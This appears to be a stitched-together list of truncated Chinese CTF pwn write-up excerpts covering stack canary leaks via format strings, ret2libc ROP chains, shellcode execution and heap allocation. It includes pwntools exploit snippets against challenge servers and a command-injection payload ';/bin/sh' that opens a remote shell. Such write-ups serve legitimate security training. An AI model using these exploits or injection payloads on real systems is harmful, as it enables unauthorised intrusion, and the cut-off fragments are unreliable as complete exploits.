recurse_33c3_2016 WP 保护: Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 一、程序逻辑 程序启动后先问名字,然后进入一个菜单: welcome to recurse what's your name? Hi, <name> What would you like to do? 1) recurse 2) recurse!!! 3) recurse?! 4) iterate 菜单对应逻辑大致是: 1) recurse 递归调用当前 challenge 对象 2)...
简单栈溢出
存在一个栈溢出,但要绕过一个canary。 “gift”:在printf处存在一个格式化字符串漏洞。能输入的限定是%6s。只能传6个字符,其中已经固定了四个“%x$p”(x是一个个位数的数字)一个个数字尝试,当x=6的时候,输出的是我们输入的部分 r.recvuntil("I'll give u some gift to help u!") payload = b'A%6$pA' r.send(payload) 所以我们的输入部分偏移是6 接下来看canary的位置: canary 输入aaaaaa 可以看到aaaaaa存在了rsp的位置,canary在rsp下面8个字节,所以canary的偏移应该是7 。也就是%7$p 同时也注...
from pwn import * from hashlib import sha256 context(log_level = 'debug') EXCV = './babystack' #libc_load = "./libc.so" #ENV = {"LD_PRELOAD":libc_load} e = ELF(EXCV) #libc = ELF(libc_load) libc = e.libc #io = process(EXCV,env = ENV) #io = process(EXCV) io = remote('202.120.7.202','6666') def debug(): gdb.attach(io)...
#!/usr/bin/env python # coding=utf-8 from pwn import * import roputils, sys, string, itertools from hashlib import sha256 LOCAL = True HOST = "202.120.7.202" PORT = 6666 #addr_bss=rop.section('.bss') charset = string.letters+string.digits def calcpow(chal): for combo in...
主函数中以下部分会导致无法进行反汇编但也同时是其漏洞。这个部分会导致程序将栈上的部分当作程序执行。 lea rax, [rbp+buf] call rax mov eax, 0 只要写入一个shellcode就结束了 shellcode见前一道wp 最后的exp:exp
我们输入的是s chall函数里有这么一段,s要包含crashme就能通过这里的的判断。 fgets(s, 1023, stdin); n = strlen(s); v3 = memchr(s, 10, n); if ( v3 ) *v3 = 0; printf("\nWelcome %s!\n", s); 寻找‘/n’,memchr是从s开始在往后n个字节里寻找‘/n’,将‘/n’替换成‘/0’。n是输入的s的字符数。这个操作就是删掉所有的‘/n’,替换成‘/0’。 后续将0x400的字符传入vuln 再将传入的字符复制到dest中。dest的大小是0x32 这里可以构造栈溢出。 文件里有printf,可以用这个进行...
好久没做了 一道ret2libc,但看好像还有ret2csu exp:exp 以前libcsearcher里的脚本跟这次的有点区别,以这次的为准, payload = b'A' * offset + p64(ret_addr) + p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(got) + p64(4) + p64(plt) + p64(main_addr)
这里会直接运行dest里的内容 🐎的为什么不能贴表情 from pwn import * r = remote("node5.buuoj.cn",26418) r.recvuntil(b"Please input u choose:") payload = b'1' r.sendline(payload) r.recvuntil(b"Please input the ip address:") payload = b';' payload += b'/bin/sh' r.sendline(payload) r.interactive()
选择1: void __fastcall allocate(__int64 a1) { int i; // [rsp+10h] [rbp-10h] int v2; // [rsp+14h] [rbp-Ch] void *v3; // [rsp+18h] [rbp-8h] for ( i = 0; i <= 15; ++i ) { if ( !*(_DWORD *)(24LL * i + a1) ) { printf("Size: "); v2 = gets(); if ( v2 > 0 ) { if ( v2 > 4096 ) v2 = 4096;//限制元素个数为4096 v3 = calloc(v2, 1u);//限制堆大小为...